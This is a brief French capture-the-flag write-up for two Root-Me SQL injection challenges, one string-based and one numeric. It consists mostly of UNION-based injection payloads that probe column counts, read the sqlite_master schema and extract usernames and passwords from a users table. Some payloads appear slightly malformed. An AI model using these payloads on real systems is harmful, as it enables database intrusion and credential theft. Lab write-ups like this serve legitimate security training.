RootME

SQL injection - String

Vérifier le nombre de colonnes autorisées

1’ order by 1--

Vérifier quelles colonnes peuvent être exploitées

1union select 1,2--

Trouver les noms des colonnes

1union select 1,sql from sqlite_master--

Extraire des informations sensibles

1union select username,password FROM users--

Cela extrait les informations des colonnes username et password de la table users.

SQL injection - Numérique

Vérifier si la base de données est vulnérable

/web-serveur/ch18/?action=news&news_id=3'

Déterminer le nombre de colonnes

id=3 ORDER BY 1,2,3--

Il y a 3 colonnes

Trouver le nom des colonnes

id=3 UNION SELECT 1,2,3 FROM sqlite_master --

Trouver les noms exacts des colonnes

id=3 UNION SELECT 1,sql,3 FROM sqlite_master --

Extraire les informations

id=3 UNION SELECT 1,password,username FROM users --

Last updated